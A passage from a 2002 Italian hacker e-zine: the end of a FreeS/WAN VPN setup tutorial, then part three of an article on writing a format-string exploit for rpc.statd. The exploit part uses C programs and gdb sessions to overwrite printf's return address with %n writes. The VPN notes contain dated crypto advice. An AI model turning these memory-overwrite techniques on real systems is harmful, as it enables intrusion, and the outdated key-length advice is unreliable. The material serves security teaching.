| | | ( internet ) <---> | | |
| | 192.168.1.0 | <---> ^ | 192.168.2.0 | |
| --------------- | --------------- |
| Reggio Emilia | Toronto |
| | |
| | |
| | |
| --------------- |
| | rete C | |
| | | |
| | 192.168.3.0 | |
| --------------- |
| Birrificio |
| |
| |
| Le operazioni da compiere sono poche e semplici. Per prima cosa |
| prepariamo il gateway C, installando FreeS/WAN, editando l'ipsec.conf |
| come spiegato in precedenza ecc. ecc. |
| Una volta fatto questo (mi raccomando controllate le chiavi pubbliche |
| tra il gw C e il gw A) modifichiamo l'ipsec.conf di A in aggiungendo in |
| fondo una decina di righe come queste: |
| |
| conn birrificio-reggioe |
| left=213.82.63.66 |
| leftsubnet=192.168.1.0/24 |
| leftnexthop=213.82.63.65 |
| right=212.*.15.101 |
| rightsubnet=192.168.1.0/24 |
| rightnexthop=212.*.15.1 |
| auto=start |
| authby=rsasig |
| leftid=@fire.toronto.it |
| rightid=firewalle.reggio.net |
| leftrsasigkey=0x010367453ccd22484a3f291a30bf3d11b5... |
| rightrsasigkey=0x010373f12dd6e1d244895bfc237433bac... |
| |
| Niente di difficile. Stiamo solo attenti ad inserire i parametri |
| corretti. |
| Rifacciamo partire i servizi IPSEC e testiamo se tutto funziona con le |
| procedure sopra descritte: logs ecc. ecc. ecc. |
| |
| Note: |
| - algoritmi hash = prendono in input una stringa arbitrariamente lunga |
| e la convertono in un numero di lunghezza fissata (digest). Sono |
| tipicamente usati per testare la validita' di un particolare messaggio |
| o password. |
| Una funzione di hash deve essere veloce e affidabile, deve produrre un |
| risultato difficile da invertire e deve avere una bassa probabilita' |
| di collisione: deve cioe' risultare altamente improbabile che due |
| messaggi diversi generino lo stesso digest. L'algoritmo piu' sicuro in |
| assoluto e' l'SHA (Secure Hash Algorithm) proposto dal NIST (National |
| Institute of Standards and Tecnology). |
| |
| - sistemi a chiave pubblica = gli algoritmi a chiave pubblica godono di |
| una importante proprieta' di reciprocita' tra le due chiavi k1 e k2: |
| se un messaggio e' stato crittografato con una delle due chiavi, |
| allora puo' essere decrittografato solo usando l'altra chiave. |
| Ovviamente, perche' cio' sia possibile le due chiavi devono possedere |
| delle proprieta' matematiche particolari. In genere una delle due |
| chiavi e' mantenuta segreta, mentre l'altra viene resa pubblica. |
| In questo modo e' possibile: |
| |
| + invio di un messaggio segreto ad un destinatario sconosciuto di cui |
| sia nota la chiave pubblica: |
| si e' certi che solo il possessore della chiave segreta sara' in |
| grado di decodificare il messaggio; |
| + autenticazione di un messaggio pubblico da parte di una persona di |
| cui sia nota la chiave privata: |
| tutte le persone saranno in grado di decodificare il messaggio |
| tramite la corrispondente chiave pubblica e quindi di provare che |
| il messaggio e' stato certamente generato dal possessore della |
| chiave segreta; |
| |
| Il principale algoritmo a chiave pubblica oggi utilizzato e' l'RSA. |
| Algoritmo a chiave variabile: la lunghezza minima consigliata e' 512 |
| bit, ma e' preferibile almeno di 1024 bit. |
| |
| - sistemi a chiave privata = gli algoritmi a chiave privata prendono in |
| ingresso un messaggio di lunghezza variabile e una chiave privata. |
| Quest'ultima viene usata per trasformare il messaggio originale in un |
| cript text. Mentre gli algoritmi di hashing creano un risultato di |
| lunghezza fissata da un ingresso a lunghezza variabile, i sistemi a |
| chiave privata operano su successivi blocchi di dimensione fissata in |
| ingresso, e utilizzano la chiave di lunghezza fissata per produrre un |
| risultato di lunghezza variabile. |
| E' chiaro che l'uso di una chiave troppo corta riduce la sicurezza del |
| sistema. |
| |
| + DES: Data Encryption Standard. e' uno standard NIST ed e' |
| sicuramente uno degli algoritmi a chiave privata piu' usato. |
| Usa pero' chiavi deboli a 56 bit. |
| E' stato cosi' inventato il 3DES; |
| + IDEA: International Data Encryption Standard. utilizza chiavi a 128 |
| bit. |
| |
| RTFM: |
| ----- |
| - FreeS/WAN manual pages |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/manpages.html |
| - /usr/local/man/man3 |
| - /usr/local/man/man5 |
| - /usr/local/man/man8/ipsec_* |
| - FreeS/WAN faq |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/faq.html |
| |
| |
| Riferimenti (in ordine semi-sparso!): |
| ------------------------------------- |
| - http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/index.html |
| "FreeS/WAN documentation" |
| - http://inews.tecnet.it/articoli/Marzo2001/Linux0103.html |
| "Linux + IPsec = Vpn" di Piero Baudino" |
| - "Virtual Private Network" di Marco Ivaldi su Linux&C. n. 19 |
| - http://www.openbsd.org/faq/faq13.html "Using IPSec - OpenBSD faq" |
| |
| |
| Note finali: |
| ------------ |
| Fate di questo documento quello che piu' vi aggrada... cancellatelo, |
| modificatelo, CORREGGETELO, bruciatelo, vendetelo, TRADUCETELO, |
| scopiazzatevelo, coloratelo, cantatelo LIBERAMENTE! |
| |
| |
| ---------------------------------------------------- |
| Autore: goony |
| Data Pubblicazione: Novembre 01 |
| Versione Documento: 0.1 |
| Editor Usato: vi su una macchina OpenBSD 2.8 |
| Riferimento: goony@inwind.it http://OpenBSD.tzone.it |
| Saluti: haikia... gia' detto tutto! ;) |
| ---------------------------------------------------- |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0E/0x23 |
+--------------------------------------------------------------------------+
| |
| ovvero |
| |
| come scriversi il proprio exploit personale in tre puntate (...o forse |
| piu' :) |
| **************************** Terza puntata ***************************** |
| |
| 4. "Smashing the stack for fun and profit" |
| |
| |
| Chiedo scusa ad aleph1 (che ci crediate o no, mi sono messo sull'attenti |
| per pronunciare questo nome) per avere impunemente "rubato" il titolo al |
| suo molto piu' degno articolo, apparso sul numero 49 di Phrack Magazine |
| (a proposito, BENTORNATO! www.prack.org :), ma mai come in questo caso |
| un simile titolo si rivela azzeccato. |
| |
| |
| 4.1. Sovrascrittura dell'indirizzo di ritorno |
| |
| |
| Bene, vediamo adesso come, in pratica, possiamo utilizzare i concetti |
| appena descritti per sovrascrivere l'indirizzo di ritorno della nostra |
| funzione, primo passo verso una completa "effrazione" del sistema... ;) |
| |
| Come visto, il contenuto dello stack risulta essere particolarmente |
| interessante, poiche' restano FISSE E CONOSCIUTE certe grandezze. In |
| particolare resta invariata la distanza che c'e' tra l'indirizzo del |
| buffer (argomento della printf) ed il buffer stesso. In alcuni casi e' |
| conosciuto anche l'indirizzo del buffer, il che equivale a conoscere |
| dove, nello stack, e' contenuto l'indirizzo di ritorno della funzione |
| printf, ossia dove si riprendera' l'esecuzione del codice una volta che |
| la printf termina il suo compito. Questo parametro e' di fondamentale |
| importanza ai fini di riuscire a riscrivere correttamente l'indirizzo di |
| ritorno, poiche' e' proprio li' che dovremo mettere i valori che ci |
| interessano. |
| |
| |
| Mi spiego con l'esempio precedente. Conoscendo il valore 0xbfffea60 |
| (indirizzo del buffer) e sapendo che l'argomento della printf e' ad una |
| distanza FISSA da detto indirizzo (si tratta di sottrarre SEMPRE |
| esattamente 36 byte), automaticamente si conosce dove e' memorizzato |
| l'indirizzo di ritorno della printf; esso infatti si trova ESATTAMENTE |
| PRIMA dell'argomento della printf stessa, quindi ad una distanza di 0x24 |
| byte prima del buffer. |
| |
| Pertanto, se nel buffer inserisco un certo numero di formattatori di |
| output (generalmente si usa il formattatore %x, ma qualsiasi altro |
| formattatore opportuno puo' andare bene) riusciro' a "navigare" sullo |
| stack fino all'indirizzo che mi interessa. |
| |
| |
| Vediamo nella pratica questi concetti, con la solita sessione pratica |
| opportunamente commentata |
| |
| # cat prova4.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| buffer[3] = 0xbf; |
| buffer[2] = 0xff; |
| buffer[1] = 0xea; |
| buffer[0] = 0x3c; |
| for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); |
| |
| strcat (buffer,"%n\n"); |
| |
| printf (buffer); |
| } |
| # |
| |
| qui utilizziamo la conoscenza dell'indirizzo nel quale e' memorizzato |
| l'indirizzo di ritorno della funzione printf per sovrascriverlo con un |
| valore differente. |
| Per fare questo utilizziamo la possibilita' di raggiungere il nostro |
| buffer (il ciclo for che inserisce un certo numero di %x serve proprio a |
| questo) ed a quel punto utilizziamo i primi byte del buffer stesso come |
| un indirizzo (che avremo sapientemente valorizzato in precedenza) in cui |
| scrivere il numero di caratteri fino a quel momento stampati dalla |
| printf. |
| |
| # gcc -g -o prova4 prova4.c |
| # gdb prova4 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you |
| are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for |
| details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b printf |
| Breakpoint 1 at 0x80483ac |
| (gdb) r |
| Starting program: /Ondaquadra/prova4 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf (format=0xbfffea60 |
| "<êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%n\n") |
| at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| |
| ok, ci siamo. una rapida occhiata allo stack... |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0x080485c8 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x0804855a 0xbfffea60 0x080485c8 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000008 0xbfffea3c 0x250a7825 0x78250a78 |
| 0xbfffea6c: 0x0a78250a 0x250a7825 0x78250a78 0x0a6e250a |
| |
| che mette in evidenza come all'indirizzo 0xbfffea3c vi sia l'indirizzo |
| di ritorno della printf e che il valore 0xbfffea3c e' contenuto nei |
| primi quattro byte del nostro buffer, pronti per essere utilizzati come |
| puntatore... ;) |
| |
| ...e allora vediamolo in azione, questo puntatore... |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| <êÿ¿80485c8 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 8 |
| |
| 35 in printf.c |
| |
| |
| |
| ecco eseguita la printf. i primi caratteri "strani" non devono |
| spaventare; |
| essi sono infatti la visualizzazione del valore 0xbfffea3c contenuto |
| all'inizio del buffer. Sono caratteri un po' bizzarri, ma sono |
| totalmente |
| inoffensivi :) |
| |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea64 0x080485c8 |
| 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x00000022 |
| 0xbfffea40: 0xbfffea60 0x080485c8 0x000007e3 0x000006c4 |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000008 |
| 0xbfffea60: 0xbfffea3c 0x250a7825 0x78250a78 0x0a78250a |
| |
| ECCOLO!!! all'indirizzo 0xbfffea3c questa volta e' presente il valore |
| 0x22, che rappresenta il numero di caratteri stampati finora... ma e' |
| anche diventato il nuovo indirizzo di ritorno della printf... con i |
| risultati che ben possiamo immaginare... |
| |
| (gdb) n |
| 34 in printf.c |
| (gdb) n |
| 35 in printf.c |
| (gdb) n |
| |
| Program received signal SIGSEGV, Segmentation fault. |
| 0x22 in ?? () |
| |
| |
| ecco, appunto... :) non e' che si puo' saltare impunemente all'indirizzo |
| 0x22 nella esecuzione di un programma... e che cavolo! |
| |
| |
| |
| (gdb) q |
| The program is running. Exit anyway? (y or n) y |
| # |
| |
| |
| |
| 4.2. Scrittura di valori specifici |
| |
| |
| Bene, siamo quindi riusciti a scrivere ad un indirizzo che definirei |
| davvero "interessante", no? Adesso si tratterebbe di sfruttare questa |
| capacita' per scrivere dei valori diciamo a noi "utili"... ad esempio un |
| indirizzo a cui corrisponda un codice eseguibile (il 0x22 del punto |
| precedente non e', sotto questo aspetto, un valore adeguato...). |
| Pero'... pero'... non e' cosi' facile; |
| il problema e' rappresentato dal fatto che la printf scrive il numero di |
| caratteri stampati all'interno di una variabile di tipo "longword", |
| ossia di dimensione uguale a quattro byte. Se guardiamo il contenuto |
| dello stack, infatti, ci rendiamo subito conto che il numero 0x22 nella |
| realta' e' stato scritto su quattro byte, diventando di fatto |
| 0x00000022. Se volessimo scrivere, utilizzando questo metodo, un valore |
| "sensato" dovremmo scrivere un numero come, ad esempio, 0x0804855a, |
| ossia 134514010, piu' di centotrenta milioni!!! Per fare cio' dovremmo |
| formattare opportunamente i "%x" del buffer, magari facendoli precedere |
| da un numero; infatti in "C" esiste la possibilita' di specificare la |
| lunghezza, in caratteri, che la stampa del valore deve avere (ad esempio |
| una formattazione tipo "%10x" scrivera' il valore in esadecimale |
| garantendo la stampa di 10 caratteri, eventualmente riempiendo con spazi |
| i caratteri in eccesso). Il problema e' che non e' che si puo' |
| specificare di stampare un numero cosi' grande di caratteri in un |
| formattatore (insorgerebbero, tra l'altro, problemi di overflow). Come |
| fare, allora? |
| |
| Qui ci viene in aiuto la particolare architettura del processore (Intel |
| o AMD, e' lo stesso); infatti, i quattro byte del valore di tipo |
| "longword" vengono scritti a partire dal meno significativo fino al piu' |
| significativo. A titolo di esempio, la scrittura del valore 0x12345678 |
| all'indirizzo 0x1000 si tradurra' nella seguente memorizzazione: |
| |
| Indirizzo Valore |
| 0x1000 0x78 |
| 0x1001 0x56 |
| 0x1002 0x34 |
| 0x1003 0x12 |
| |
| In termini tecnici si dice che l'architettura e' di tipo "Little |
| Endian", ossia che il byte di ordine "basso" viene scritto all'indirizzo |
| piu' "basso" (la parte meno significativa, o "piccola", viene scritta |
| prima) |
| |
| Per ottenere questo risultato, pero', non c'e' soltanto l'operazione "di |
| base" (ossia la scrittura della longword) ma e' anche possibile |
| suddividere detta scrittura in tante scritture piu' "piccole". In altre |
| parole, potremmo effettuare quattro scritture, ognuna di un singolo |
| byte, |
| ad indirizzi crescenti, scrivendo: |
| |
| - all'indirizzo 0x1003 il valore 0x12 |
| - all'indirizzo 0x1002 il valore 0x34 |
| - all'indirizzo 0x1001 il valore 0x56 |
| - all'indirizzo 0x1000 il valore 0x78 |
| |
| ottenendo in tal modo lo stesso risultato. |
| |
| Purtroppo, pero', se cercassimo di applicare questa metodologia, poiche' |
| il valore scritto sarebbe sempre e comunque quello di una longword, |
| otterremmo quanto segue: |
| |
| |
| - la prima scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1003 0x12 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| 0x1006 0x00 |
| |
| |
| - la seconda scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1002 0x34 |
| 0x1003 0x00 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| |
| Ahi, ahi... abbiamo sovrascritto il valore all'indirizzo 0x1003 con uno |
| zero! |
| |
| Pero'... pero'... non c'e' solo quel modo per scrivere la longword... |
| c'e' anche il modo inverso, ossia scrivere: |
| |
| - all'indirizzo 0x1000 il valore 0x78 |
| - all'indirizzo 0x1001 il valore 0x56 |
| - all'indirizzo 0x1002 il valore 0x34 |
| - all'indirizzo 0x1003 il valore 0x12 |
| |
| Questo metodo effettivamente ha successo, poiche', nel dettaglio: |
| |
| - la prima scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1000 0x78 |
| 0x1001 0x00 |
| 0x1002 0x00 |
| 0x1003 0x00 |
| |
| |
| - la seconda scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1001 0x56 |
| 0x1002 0x00 |
| 0x1003 0x00 |
| 0x1004 0x00 |
| |
| - la terza scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1002 0x34 |
| 0x1003 0x00 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| |
| - la quarta ed ultima scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1003 0x12 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| 0x1006 0x00 |
| |
|
|
| Il risultato finale sara' quello di avere il valore 0x12345678 |
| correttamente scritto all'indirizzo 0x1000, con i tre byte agli |
| indirizzi 0x1004, 0x1005 e 0x1006 azzerati dalle operazioni di |
| scrittura... poco male, quello che volevamo (ossia scrivere unalongword |
| all'indirizzo 0x1000) e' stato ottenuto. |
| |
| |
| Dal punto di vista pratico, quindi, estendendo la tecnica vista in |
| precedenza, ipotizzando di volere scrivere un certo valore, sara' |
| sufficiente: |
| |
| - inserire all'inizio del buffer gli indirizzi che vogliamo scrivere, |
| replicandoli in maniera opportuna |
| |
| - inserire in maniera adeguata i vari formattatori, allo scopo di |
| ottenere un numero di caratteri in output tale da raggiungere il |
| valore del byte che vogliamo andare a scrivere |
| |
| - tenere in considerazione il fatto che sara' necessario prevedere |
| nel buffer anche dei valori di "riempimento" per soddisfare i |
| formattatori che abbiamo inserito |
| |
| La sessione pratica che segue chiarira' questi concetti molto meglio di |
| qualsiasi presentazione teorica. |
| |
| |
| |
| 4.2.1. Caso pratico: saltare una istruzione |
| |
| |
| Allora, eccoci qui pronti a mettere in pratica la teoria finora |
| analizzata; cominciamo pure commentando questo semplice programmino |
| |
| # cat prova5.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 4; i++) { |
| buffer[7+i*8] = 0xbf; |
| buffer[6+i*8] = 0xff; |
| buffer[5+i*8] = 0xea; |
| buffer[4+i*8] = 0x3c + i; |
| buffer[3+i*8] = 0xbf; |
| buffer[2+i*8] = 0xff; |
| buffer[1+i*8] = 0xea; |
| buffer[0+i*8] = 0x3c + i; |
| } |
| for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); |
| |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"\n"); |
| |
| printf (buffer); |
| } |
| # |
| |
| |
| Ordunque, il primo ciclo "for" ha il compito di mettere nelle prime otto |
| longword del buffer quattro coppie di valori; questi valori, guarda |
| caso, risultano essere gli indirizzi dei quattro byte che contengono |
| l'indirizzo di ritorno della funzione printf (l'esecuzione in debug del |
| programma lo mettera' in evidenza in modo chiaro). |
| In sostanza, il buffer conterra', nelle prime longword, i seguenti |
| valori: |
| |
| |
| 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d |
| |
| 0xbfffea3e 0xbfffea3e 0xbfffea3f 0xbfffea3f |
| |
| Bene, ma perche' DUE volte? Beh, per un motivo molto semplice: |
| ammettendo che si voglia scrivere un valore ben preciso all'indirizzo |
| 0xbfffea3c utilizzando il formattatore "%n" visto in precedenza, e' |
| davvero molto difficile che il numero di caratteri fino a quel momento |
| emesso in output sia ESATTAMENTE il valore che desidero scrivere. |
| E' molto piu' facile che io debba aggiungere un certo numero di |
| caratteri in output per raggiungere il valore desiderato. A titolo di |
| esempio, se il numero di caratteri che ho scritto fino ad ora e', |
| supponiamo, 45 ed il desidero scrivere il numero 74 dovro' emettere in |
| output ancora 29 caratteri; la cosa piu' semplice da fare e' |
| quella di scrivere un valore intero usando un formattatore del tipo |
| "%29x", che mi garantisce che verranno emessi 29 caratteri. |
| Ovviamente, pero', il valore da usare per soddisfare il formattatore |
| "%29x" deve essere presente sullo stack ed ecco spiegato il perche' |
| del valore raddoppiato: il primo servira' a soddisfare il formattatore |
| "%29x" avendo come effetto quello di mettere altri 29 caratteri in |
| output, mentre finalmente il secondo verra' utilizzato dal formattatore |
| "%n" per scrivere il valore 74 all'indirizzo 0xbfffea3c. |
| Nella realta' il primo dei due valori avrebbe anche potuto essere |
| differente da 0xbfffea3c; sarebbe andato bene qualsiasi valore che, |
| visto byte per byte, non contenesse valori "non ammessi", quali ad |
| esempio '\0' oppure '%', poiche' il primo avrebbe terminato la stringa |
| (ricordiamoci che stiamo usando un buffer di caratteri da scrivere, |
| quindi un byte a zero viene considerato come fine della stringa), mentre |
| il secondo avrebbe introdotto una formattazione dipendente dal carattere |
| seguente, "sballando" inesorabilmente i nostri piani... |
| |
| Bene, proseguiamo: il secondo "for" e' il solito ciclo che serve per |
| "navigare" lungo lo stack fino ad incontrare il nostro buffer... |
| niente di nuovo, quindi :) |
| |
| le quattro chiamate strcat hanno il compito di introdurre i nostri |
| famosi formattatori che gestiscano i valori che abbiamo con tanta cura |
| messo all'inizio del buffer. |
| Possiamo notare il formattatore "%8x" che scrive il primo valore della |
| coppia, mentre il secondo formattatore "n" usa il secondo valore della |
| coppia come puntatore. In questo esempio il formattatore "%8x" e' stato |
| scelto a caso per rendere l'idea del funzionamento, ma nell'esempio |
| successivo vedremo come usare "meglio" questi formattatori... ;) |
| |
| |
| |
| Been, arrivati fino qui possiamo dare inizio alle danze: |
| |
| # gcc -g -o prova5 prova5.c |
| # gdb prova5 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and |
| you are welcome to change it and/or distribute copies of it under |
| certain conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for |
| details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b printf |
| Breakpoint 1 at 0x80483ac |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova5 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf (format=0xbfffea60 "<êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿? |
| êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%8x%n%8x%n%8x%n%8x%n\n") at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| |
| |
| anche qui, non ci spaventiamo dai caratteri "strani" presenti |
| all'inizio del buffer; essi sono proprio la rappresentazione ASCII dei |
| valori che abbiamo messo apposta. |
| |
| |
| (gdb) x/30 $sp |
| 0xbfffea2c: 0x0804871f 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x080486a6 0xbfffea60 0x0804871e 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000008 0xbfffea3c 0xbfffea3c 0xbfffea3d |
| 0xbfffea6c: 0xbfffea3d 0xbfffea3e 0xbfffea3e 0xbfffea3f |
| 0xbfffea7c: 0xbfffea3f 0x250a7825 0x78250a78 0x0a78250a |
| 0xbfffea8c: 0x250a7825 0x78250a78 0x7838250a 0x38256e25 |
| 0xbfffea9c: 0x256e2578 0x6e257838 |
| |
| |
| |
| Ecco il contenuto dello stack. All'indirizzo 0xbfffea3c c'e' |
| l'indirizzo di ritorno a cui saltare al termine della printf. |
| Tale valore (0x080486a6) e' quello dell'istruzione del main |
| immediatamente successiva alla "call printf". |
| Proseguendo... |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿804871e |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 8 |
| bfffea3cbfffea3dbfffea3ebfffea3f |
| 35 in printf.c |
| |
| |
| Notate come siano stati scritti i valori 0xbfffea3c, 0xbfffea3d, |
| 0xbfffes3e e 0xbfffez3f? Bene, il fatto che siano stati scritti implica |
| che sono stati soddisfatti i formattatori "%8x", quindi effettivamente |
| la funzione printf deve avere anche soddisfatto i formattatori "%n"... |
| vediamo se e' cosi' |
| |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea80 0x0804871f |
| 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x5e564e46 |
| 0xbfffea40: 0xbf000000 0x0804871e 0x000007e3 0x000006c4 |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000008 |
| 0xbfffea60: 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d |
| |
| |
| |
| Eccolo li'!!! All'indirizzo 0xbfffea3c NON C'E' piu' il valore |
| 0x080486a6 che indicava l'istruzione immediatamente successiva alla |
| chiamata della printf; al suo posto c'e' il valore 0x5e564e46 che e' il |
| risultato delle quattro scritture causate dai formattatori "%n". Da |
| notare, infatti, anche i tre byte messi a zero nella longword successiva |
| (quella all'indirizzo 0xbfffea40). |
| |
| Anche qui, pertanto, il volere far proseguire l'esecuzione del programma |
| in queste condizioni, generera' un salto all'indirizzo 0x5e564e46 che e' |
| con tutta probabilita' un indirizzo non valido poiche' non appartenente |
| allo spazio di indirizzamento del task stesso. Verifichiamolo: |
| |
| |
| (gdb) c |
| Continuing. |
| |
| Program received signal SIGSEGV, Segmentation fault. |
| 0x5e564e46 in ?? () |
| |
| ...come volevasi dimostrare :) |
| |
| |
| (gdb) q |
| The program is running. Exit anyway? (y or n) y |
| # |
| |
| |
| Ma allora a questo punto a noi bastera' solamente sostituire i |
| formattatori "%8x" con dei formattatori che specifichino una lunghezza |
| adeguate per ottenere come risultato quello di scrivere nella longword |
| il valore che vogliamo. |
| |
| |
| |
| Anche qui, a titolo di esempio, analizziamo il seguente programma |
| |
| |
| # cat prova6.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 4; i++) { |
| buffer[7+i*8] = 0xbf; |
| buffer[6+i*8] = 0xff; |
| buffer[5+i*8] = 0xea; |
| buffer[4+i*8] = 0x3c + i; |
| buffer[3+i*8] = 0xbf; |
| buffer[2+i*8] = 0xff; |
| buffer[1+i*8] = 0xea; |
| buffer[0+i*8] = 0x3c + i; |
| } |
| for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); |
| |
| strcat (buffer,"%153x%n"); |
| strcat (buffer,"%175x%n"); |
| strcat (buffer,"%126x%n"); |
| strcat (buffer,"%260x%n"); |
| strcat (buffer,"\n"); |
| |
| i = 0; |
| |
| printf (buffer); |
| |
| i = 1; |
| |
| printf ("seconda parte; eccoci qui\n"); |
| |
| printf ("terza parte; i vale %d\n", i); |
| |
| exit (0x123); |
| } |
| # |
| |
| Sostanzialmente, nulla di nuovo. Le uniche due differenze sono: |
| |
| - valori diversi nei formattatori di scrittura |
| |
| - la presenza di alcune istruzioni in piu', messe li' solamente per |
| dimostrare la correttezza delle operazioni |
| |
| |
| Ordunque, se non conoscessimo l'enorme potenza di questi programmino |
| saremmo portati a pensare che, una volta in esecuzione, venissero |
| stampati, nell'ordine: |
| |
| |
| - il contenuto del buffer |
| - la stringa "seconda parte; eccoci qui" |
| - la stringa "terza parte; i vale 1" |
| |
| |
| Ma poiche' noi sappiamo oramai bene come funzioni questo giochetto, |
| analizziamo un po' piu' a fondo il VERO comportamento del programma |
| |
| # gcc -g -o prova6 prova6.c |
| # |
| # gdb prova6 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and |
| you are welcome to change it and/or distribute copies of it under |
| certain conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for |
| details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b printf |
| Breakpoint 1 at 0x80483d0 |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova6 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf (format=0xbfffea60 "<êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ |
| ¿?êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%153x%n%175x%n%126x%n%260x%n\n") at |
| printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| (gdb) x/30 $sp |
| 0xbfffea2c: 0x080487b8 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x080486bd 0xbfffea60 0x080487b8 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000000 0xbfffea3c 0xbfffea3c 0xbfffea3d |
| 0xbfffea6c: 0xbfffea3d 0xbfffea3e 0xbfffea3e 0xbfffea3f |
| 0xbfffea7c: 0xbfffea3f 0x250a7825 0x78250a78 0x0a78250a |
| 0xbfffea8c: 0x250a7825 0x78250a78 0x3531250a 0x6e257833 |
| 0xbfffea9c: 0x35373125 0x256e2578 |
| |
| |
| ok. fino qui nulla di nuovo. al solito indirizzo 0xbfffea3c c'e' |
| l'indirizzo di ritorno, che in questo caso e' 0x080486bd. |
| Vediamo adesso anche il listato disassemblato del programma, |
| focalizzando la nostra attenzione nell'intorno delle tre chiamate alla |
| printf (cioe' dall'indirizzo 0x080486bd in avanti): |
| |
| |
| (gdb) disass main |
| Dump of assembler code for function main: |
| 0x80484ec <main>: push %ebp |
| 0x80484ed <main+1>: mov %esp,%ebp |
| 0x80484ef <main+3>: sub $0x1018,%esp |
| 0x80484f5 <main+9>: sub $0x8,%esp |
| 0x80484f8 <main+12>: push $0x1000 |
| 0x80484fd <main+17>: lea 0xffffeff8(%ebp),%eax |
| 0x8048503 <main+23>: push %eax |
| 0x8048504 <main+24>: call 0x80483f0 <bzero> |
| 0x8048509 <main+29>: add $0x10,%esp |
| 0x804850c <main+32>: movl $0x0,0xffffeff4(%ebp) |
| 0x8048516 <main+42>: mov %esi,%esi |
| 0x8048518 <main+44>: cmpl $0x3,0xffffeff4(%ebp) |
| 0x804851f <main+51>: jle 0x8048528 <main+60> |
| 0x8048521 <main+53>: jmp 0x8048618 <main+300> |
| 0x8048526 <main+58>: mov %esi,%esi |
| 0x8048528 <main+60>: mov 0xffffeff4(%ebp),%eax |
